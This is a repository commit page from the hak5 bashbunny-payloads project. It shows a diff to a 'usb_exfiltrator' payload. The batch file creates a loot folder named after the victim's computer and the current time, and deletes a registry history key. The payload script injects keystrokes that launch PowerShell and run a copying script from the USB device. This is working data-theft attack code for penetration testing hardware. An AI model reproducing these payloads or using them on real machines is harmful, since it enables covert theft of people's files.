hak5/bashbunny-payloads
1
0
Fork 0
mirror of https://github.com/hak5/bashbunny-payloads.git synced 2025-10-29 16:58:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #17 from honourity/master

Browse Source 
usb_exfiltration - added escape character for quack command variable
This commit is contained in:
Sebastian Kinne
2017-03-10 09:45:57 +11:00
committed by GitHub
parent e5bac68ea2 f34f7bc6df
commit 21848f89cd
2 changed files with 2 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
payloads/library/usb_exfiltrator/e.cmd
View File

@@ -6,7 +6,7 @@ REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\
REM Creates directory compromised of computer name, date and time REM Creates directory compromised of computer name, date and time
REM %~d0 = path to this batch file. %COMPUTERNAME%, %date% and %time% pretty obvious REM %~d0 = path to this batch file. %COMPUTERNAME%, %date% and %time% pretty obvious
set dst=%~dp0\loot\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-11,2%%time:~-8,2%%time:~-5,2% set dst=%~dp0\..\..\loot\USB_Exfiltration\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-11,2%%time:~-8,2%%time:~-5,2%
mkdir %dst% >>nul mkdir %dst% >>nul
if Exist %USERPROFILE%\Documents ( if Exist %USERPROFILE%\Documents (

2
payloads/library/usb_exfiltrator/payload.txt
View File

@@ -18,6 +18,6 @@ LED R
ATTACKMODE HID STORAGE ATTACKMODE HID STORAGE
QUACK GUI r QUACK GUI r
QUACK DELAY 100 QUACK DELAY 100
QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\$SWITCH_POSITION\d.cmd')" QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\d.cmd')"
QUACK ENTER QUACK ENTER
LED G LED G